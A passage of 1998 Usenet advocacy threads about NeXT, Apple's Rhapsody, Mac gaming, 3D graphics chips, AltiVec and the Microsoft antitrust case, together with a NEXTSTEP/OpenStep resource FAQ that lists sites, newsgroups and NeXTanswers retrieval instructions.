> Whatever the ramifications, I'm beginning to wonder whether there is any
> point to the NeXT acquisition, at all.
Without NeXT technologies and the people who implemented them, there would be
no MacOS X. ie, there would not be a forthcoming operating system from Apple
that promised protected memory and pre-emptive multitasking, either to new
apps or to suitably modified legacy apps. Whether you consider MacOS X to be
Rhapsody or not, it's clear that all the stuff that sits under the Carbon API
is stuff that was developed from the NeXT side of the merger.
And on the hardware side, bear in mind that the guy in charge of bringing us
all those nifty new G3s, Powerbooks, and iMacs is the former head of NeXT
hardware.
Now, what was your question again about the point to the NeXT acquisition?
Stefano Pagiola spagiola@my-dejanews.com My opinions alone Longtime MacOS and
NeXTSTEP user, reluctant Windows 95/NT user, future Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: smileyy@ix.netcom.com (Andrew McCormick)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Fri, 19 Jun 1998 19:09:59 -0400
Organization: ICGNetcom
Message-ID: <smileyy-1906981909590001@cin-oh2-21.ix.netcom.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mbnr8$1uu$3@news.xmission.com <6mdae7$2d1$1@news.cs.tu-berlin.de> <358A75A3.CF50528A@nstar.net> <6meenl$99n$1@nnrp1.dejanews.com> <358AD3C8.E874B7E3@nstar.net>
yO|mu63W9l,<&>Elu}#LIobQ32F
In article <358AD3C8.E874B7E3@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
>Like BSD, for instance...or the Mach kernel. Of course, NeXT was the
>*only* place to find such things. Of course *not*, that is.
Well, they also got people who know how to write an OS layer that sits on
top of the Mach kernal. I think Avie Tevanian knows a little bit about
Mach.
Andrew McCormick
--
smileyy@ix.netcom.com
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <28217897796825@digifix.com>
Date: 21 Jun 1998 03:49:16 GMT
Organization: Digital Fix Development
Message-ID: <12114898401620@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
Message-ID: <358B2BD3.BCC40A76@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <35852FC2.1433BE70@spamtoNull.com> <6m90a6$6u9$2@news.spacelab.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sat, 20 Jun 1998 03:22:03 GMT
NNTP-Posting-Date: Sat, 20 Jun 1998 03:22:03 GMT
Organization: MCI2000
Charles W. Swiger wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >Salvatore Denaro wrote:
> [ ... ]
> >> Where can I get Office for the Sony PlayStation? :)
> >
> >I *knew* you'd hit me with that...:) ....which is wy I including the
> >word "computer" in post...:)
>
> What makes a PlayStation not a computer?
>
> It's not an Intel-based PC, agreed-- but a Mac isn't one, either....
>
You really don't know? Here's a simple way to tell the difference. A
computer is open-ended. The user determines what it does by the type of
software he chooses to run. You can operate a "computer" and never play
a single game if you don't want to. The Play Station is a *game
console.* What can you do with it aside from running games? How many
schools and librarys used networked Playstations? When was the last time
you used a Playstation to web browse?
The Mac, PC, Amiga, etc., are "computers" in the sense of this
conversation. The Play Station certainly is not.
Message-ID: <358B2D0A.3A11775@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sat, 20 Jun 1998 03:27:15 GMT
NNTP-Posting-Date: Sat, 20 Jun 1998 03:27:15 GMT
Organization: MCI2000
Salvatore Denaro wrote:
>
> On 17 Jun 1998 17:45:34 GMT, Charles W. Swiger <chuck@codefab.com> wrote:
> >The basic problem with some of the older 3D chipsets is that they have
> >bottlenecks which make them so slow that a pure software engine is going to
> >outperform their hardware acceleration-- one aspect of the continuing
> >improvement in CPU performance and fast FSB memory access with SDRAM.
>
> Hmmm... Rage 3d Pro is old? It offers 100mhz SDRAM and comes in an AGP2
> part. According to ATI's web site, it has won awards as recently as May.
>
> I am not aware of the plus/minus to the ATI chip. How well does it compare
> to the other 2d/3d chip sets? I was under the impression that it was a
> good performer in both 2d and 3d.
>
Take it from me, the Rage Pro is "below average" (I'd give it at best a
C-) in the current state of 3d hardware. At 2d, I'd give it a flat C.
3dfx, Riva, and the soon-to-be-released Matrox MG 200, among others, are
*much* better at 3d and in the case of the Matrox and the Riva, their
included 2d puts the Rage Pro to absolute shame. It's not even close.
Message-ID: <358B3109.FBCEE71@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <6map2e$hpd$1@ns3.vrx.net> <slrn6oig8c.k93.sal@panix3.panix.com>
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Date: Sat, 20 Jun 1998 03:44:17 GMT
NNTP-Posting-Date: Sat, 20 Jun 1998 03:44:17 GMT
Organization: MCI2000
Salvatore Denaro wrote:
>
> On 18 Jun 1998 10:10:22 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
> > Apple would be well off to include a Voodoo RAGE chip, but these are
> >expensive parts. A RIVA is an excellent second, because it has
> >3D-in-a-window which the normal Voodoo lacks.
>
> Would the Voodoo RAGE fit in an ATI RAGE PRO pinout?
>
Would someone please tell me what a "Voodoo RAGE" is?.....:)
As I understand it, Voodoo is made by 3dfx, "rage" is made by ATI.
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 20 Jun 1998 18:55:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mh0iv$e25$1@nnrp1.dejanews.com>
References: <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <SCOTT.98Jun8115024@slave.doubleu.com> <6lkna9$bsi$1@nnrp1.dejanews.com> <35906d0c.13309108@news.supernews.com>
In article <35906d0c.13309108@news.supernews.com>,
mdevlin@eltrax.com (T. Max Devlin) wrote:
>
> dpetticord@hotmail.com, on Wed, 10 Jun 1998 01:25:30 GMT,
> >[...]First of all, Microsoft agreed to all kinds of LICENSING
> >restrictions because it had already planned to turn its products into
> >Bloatware. Office, Visual Studio and, of course, Windows95 where combinations
> >of separate products bundled under one license. (Yes, Max (and others) THAT
> >is why the "develop integrated products" exception clause was added and MEANS
> >several bundled products under one license including MSDOS).[...]
>
> Just can't let that slide, no, Dave.
>
> "Develop integrated"!="spontaneously create by combining previously
> separate"
>
Unfortunately, we are back to the "essentially meaningless" argument.
I understand that you do not agree with Microsoft's definition of "integrated
product". What I was pointing out in this and other threads is that
historical evidence tends to support this is what Microsoft meant in 1994
(they were just as misguided back then). The correctness of the definition
is a moot point when deciding Microsoft's 1994 intent.
Are you arguing that Microsoft meant something different in 1994?
Are you suggesting that Microsoft meant the "develop integrated products"
clause to apply only to combining newly developed separate products?
(Microsoft was not known for developing "new" products back then, it is still
argued today)
You (and the DOJ) can't simply make the "essentially meaningless" argument
without providing an alternate meaningful explaination.
BTW, The DOJ is arguing...
"Develop integrated"=="spontaneously create by combining previously separate"
but...
"Develop integrated"!="combining products that are also sold separately"
<snip>
> > I submit that licensing had little to do with what happened. Most
> >of it was the herd mentality of the mass market (the less tactful call
> >Microsoft users "sheep"), but Microsoft still gets alot of credit/blaim for
> >their packaging. Windows95 was popular because it was "bloatware". It
> >combined networking, GUI, doublespace, Internet Access, etc. into one
> >package.
>
> Windows95 was popular because it was the new version of Windows, and was
> therefore the Chosen Path of Microsoft. Every commercial Unix since
> 1989 has done the same, except for the doublespace, because it is not
> necessary. I've already ranted about the silliness of wholesale disk
> compression built into Microsoft's OSes.
I think we are agreeing here. I even agree that doublespace was added to
the OS just when it become undesirable to do so.
>
> >People were hearing about how easy it was to get on the Internet with
> >Windows95.
> >
> >Small Offices were learning that they could easily network computers together
> >without a server.
> >
> >Windows95 was easier to use (almost as easy as a Mac).
>
> "People were", "small offices were"; something about that phrasing
> bothers me, what is it? Could it be the "market is proof that the
> market is right" argument?
I do not think of the market as right or wrong, it just "is". To me arguing
about the correctness of the market is like arguing about the appropriate
brightness of the sun.
> When 95 was released, you got on line to get
> to the Internet, you didn't get on the Internet to get online. The
> difference? People were hearing about how easy it was to get on the
> Internet, Win95 just happened to be the OS in all the stores. And as
> for small offices networking, can you say "LocalTalk, circa 1984"? To
> hell with just the file and print sharing; the Mac even included the
> friggen hardware, and a decade before Microsoft's broken excuse for a
> network capability was in place.
I think we somewhat agree here too, but your arguments are treading
dangerously close to suggesting Microsoft CAUSED the mass market's interest
in the Internet. It is contradictory to argue Microsoft created a market
while at the same time trying to restrict Microsoft's access to it. I tend
to think it was more a matter of timing, the mass market was ready for the
internet, Microsoft (and others) exploited that readiness.
<snip>
> And I'm sorry, but if you're going to admit it was anti-competitive,
> then you have to admit it was illegal.
I do not think legal precidents support your assumption. I understand there
have been several cases where anti-competitive behavior has been ruled legal,
even when these actions where executed by monopolistic companies. Again, the
threshhold of illegality is anticompetitive actions that ONLY a monopoly can
do. It does not take being a monopoly to design your product in such a way as
to frustrate competitor's efforts to compete against it. I do not believe
there is a precedent where a product DESIGN was ruled illegal.
The closest precedents I know of are...
IBM being forced to separate hardware from software (a LICENSING change)
SABRE being forced to display competing airline schedules (a SERVICE change)
The DOJ is trying to establish a new precedent to cover product design. But
even they are hedging their bets by giving Microsoft the "out" of putting
competing browsers on the desktop. Even this remedy requires that the DOJ
demostrate a substantial illegal activity on Microsoft's part first.
> >It is my opinion that Microsoft was abiding by the Consent Agreement when it
> >combined MSDOS with Windows to form Windows95. If the DoJ even tries to
> >include MSDOS in its Consent Agreement case, it would be last nail in that
> >weak case's coffin. The DoJ, and even Caldera, will have a hard time
> >explaining why the "developing integrated products" exception clause was
> >added if it doesn't apply to MSDOS and Windows.
>
> MSDOS and Windows were not _developed_ as an integrated product. Hell,
> DOS was developed years before Windows was even started.
>
My point was, and is, that the DOJ can not argue a definition that renders the
exception clause completely meaningless (as opposed to worthless <g>)
without conceding the Consent Agreement case to Microsoft. They would be
putting all their eggs into the antitrust case, which may be something the
DOJ should do. IMO, the antitrust case is much stronger then the
consent/contempt case.
<snip>
> >The DoJ said it could not find sufficent proof of illegal "tying" in 1994 to
> >bring an antitrust case then. It is interesting that bundling software is
> >now being questioned as a possible "tying" violation. I am morbidly
> >fascinated by people, who should know better, seeing nothing dangerous
> >about the current transformations of software's legal definition and status.
> >
> >This WILL effect more than just companies with 90% of the market.
>
> Which is why it disturbs me so much to see Microsoft transforming
> software's legal definitions and status as they have. Screw the
> companies with 90% of the market, I'm worried about the 90% of the
> companies captured by the market.
>
Are you blaiming Microsoft because they are defending themselves? I know
we have been skirting this issue all along, but I am strongly opposed to
the idea that Microsoft FORCED the DOJ to bend their own rules and twist
our laws because Microsoft refused to concede guilt.
Provoking Thought,
David Petticord
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 20 Jun 1998 11:51:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1B152B2-4DE08@206.165.43.183>
References: <B1B0C0B7-82DBC@206.165.43.175>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Lawson English <english@primenet.com> said:
Jason S. <jason@jhste1.dyn.ml.org> said:
>>What exactly does the 60x/7x0 FPU do that isn't in the above category.
>>besides the hideously inaccurate estimated sqrt reciprocal?
>
>AltiVec does nearly everything that the FP unit does, as far as I can
glean
>from a quick check of the manuals. However, the load/store instructions
are
>designed for vector operations and probably wouldn't be as efficient as
>using the equivalent FP unit instructions. At best, you could use the AV
>unit as a second FP unit, but you'd have to hand-code your code to work
>that way, I believe.
>
I've been reading more about the AltiVec instruction set. AV implements
virtually EVERY standard PPC fp instruction. However, the instruction
latency may well be slower per instruction than the equivalent FPU
instruction, so you need to be operating on vectors in order to win over
using the FPU. I would GUESS that it would be a wash if you're operating on
2-vectors and a win on 3 or higher.
Also, the load/store instructions are kept extremely simple, even by PPC
standards, which means that you can't be as clever in loading vector data
as you can, loading FP data.
OTOH, there appear to be lots of fascinating FP vector instructions that
don't have PPC FPU counterparts. For instance, you can convert from both
integer AND fixed point (with arbitrary decimal point location) 4-vectors
to floating point 4-vectors. You can also perform floor/ceiling functions
on float-4-vectors, and round-towards nearest int, as well as the standard
round-to-zero. There's log2 and 2^vector estimate functions, as well as
1/v1 and 1/sqrt(v1) instructions. The other estimate functions found in
the FPU can be contrived from the log2 vector instruction.
Also, you can set a "Java mode" in order to fulfill Java-defined floating
point precision, rather than IEEE defined precision.
VERY powerful setup.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: bgrubb@zianet.com (Bruce L. Grubb)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.games.action,comp.sys.next.advocacy
Subject: Re: Apple needs a strong game market!!
Date: Sat, 20 Jun 1998 20:36:29 -0600
Organization: Southwest Cyberport
Message-ID: <bgrubb-2006982036300001@lc431.zianet.com>
References: <macghod-2006981734590001@sdn-ar-001casbarp064.dialsprint.net>
In article <macghod-2006981734590001@sdn-ar-001casbarp064.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>Apple desperately needs a strong game market. And it needs it for several
>reasons. Besides consumers wanting games, their is another reason NO ONE
>HAS EVER MENTIONED. To do word processing, what kind of computer do you
>need? A mac 2ci is fine for doing common office apps. A 486 is as well.
>But to play the newest and latest games, you NEED the newest computer!!
I agree that the MacOS need a better game market than the one it currently has.
That said I do NOT want to see the redevelopment of the quanity = quality
mentality that we saw back in the 386 vs 68030 days. Yes the PC had a lot
of games back when the MacOS enjoyed a 10% marketshare but how good was
the overall quality of these games? It wasn't that great though today
things are much better.
>The mac doesnt have a big games market, thus their is less reason for people
>to upgrade.
True up to a point. The problem in a Mac-Wintel comparison is that each
OS-CPU combo has its strengths and weeknesses which drastically change a
game's requirements. Case in point is Myst which runs quite well on a
IIsi (68030/25) and yet the Wintel version requires a 486 (68040
equivelent).
Also if you don't understand the differences you can get the wrong
impression from something like Riven which requires Pentium/100 with 16MB;
PPC 601/90 with 9 MB free. Unless you understand the 16 MB on the PC side
means -total- RAM the PC version would appear to be bloatware compared to
the Mac version.
On the regular software side of things; do you really want to run MSWord
6.0 on a IIsi assuming you even could? Watching GraphicConverter compress
a jpeg is more fun on a C500 than on a IIsi and much the same can be said
of nearly any modern browser doing its thing. And forget about playing
most modern movie files formats at any decent speed on anything less than
a 68LC040. Never mind that the requirements of OS themselves have
dramaticaly increaced.
>THe simple fact is unless you are a
>high end graphics person, games are the biggest reason to upgrade. If
>people bought macs SO they could play games, people would buy new
>computers sooner, and this is what apple needs. And without games their
>is less reason to throw out your old 2ci or 486
True but you don't want to over consentrate on the game market. Otherwise
you risk reducing the Mac to the level of Nintendo which would not help
the Mac be take as a serious computer.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 20 Jun 1998 12:34:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1B15C95-730B3@206.165.43.183>
References: <6mh014$i01$1@news.cs.tu-berlin.de>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Marcel Weiher <marcel@cs.tu-berlin.de> said:
>Lawson English" <english@primenet.com> writes:
>
>>Marcel Weiher <marcel@cs.tu-berlin.de> said:
>
>>>"Lawson English" <english@primenet.com> writes:
>
>>>>And hence, quadratic Beziers are a better fit for multi-media than
cubic
>>>>Beziers, because they are inherently faster (may be wrong, of course,
but
>>>>no-one has furnished proof of this).
> ^^^^^
>
>[Several lines snipped]
>[I said something about logical fallacies in "proof"]
>
>>Not so. Merely pointed out that no-one has shown the opposite, not that I
>>have "proved" anything.
>
>Well, "furnished proof" were your exact words (highlighted above),
>as was "hence".
Good point.
>
>If we can agree that you were just suggesting things, so much the
>better. Let me suggest a couple of things:
>
> 1. With incremental evaluation, the difference in cost
> in evaluating cubics and quadratics is negligible.
> 2. The difference will probably be completely hidden
> because this evaluation will often not be on the
> critical path (i.e. the CPU is waiting for memory
> anyhow and so some extra integer OPs won't matter)
> 3. The polynomial evaluation is a sufficently small
> part of the entire process to make any difference
> insignificant even if it isn't masked.
>
For PPC/Pentium class processors, you likely have a point.
HOWEVER, we were talking specifically about QuickTime Vector Graphics,
which must run on 10s of millions of older systems, for which these points
may not apply. For instance, on the 68K systems, GX's strategy of caching
pre-calculations made sense whereas on PowerMacs, especially the fastest
ones, it might actually slow things down, due to the relatively slow memory
access vs the speed of recomputing on-the-fly. Obviously, pre-caching
calculations makes no sense over the Internet, because that is the ultimate
in slow memory access, but once parameters have actually reached the CPU on
the client side, the faster algorithms are likely demonstratively better if
we're talking about sytems from 3 generations ago (and we are, quite often,
in the case of QTVG over the internet).
>
>>What is this, anyway? Are you so enamored with cubic Beziers that you
>must
>>claim their innate superiority over GX's quadratics for EVERY purpose?
>
>1. I never claimed *any* superiority of beziers.
> (Logical fallacy time: !(a<b) != (a>b) )
> In fact, I think they're probably about equally useful.
Depending on what they're used for, it could go either way. For GX's
original target audience, 68K users, I believe that quadratics are a clear
win. Ditto with QuickTime's target audience, which includes 68K and 68K
class x86 systems.
>
>2. Don't project your motivational system into other people,
> though I guess you can't help it.
>
_Ad hominem time_, again?
>>Or maybe you just have a knee-jerk reaction to any post of mine about
>>graphics that happens to cross your path...
>
>Good observation. Refuting your strange and bold assertion has turned
>into a pure reflex not usually requiring activation of higher level
>cognitive functions.
>
Another.
>>[and folks consider ME to be obsessed]
>
>Yes.
>
Another, although I started it.
>Marcel
>--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: Sat, 20 Jun 1998 23:17:07 -0500
Organization: (none)
Message-ID: <jdoherty-2006982317080001@aus-tx21-25.ix.netcom.com>
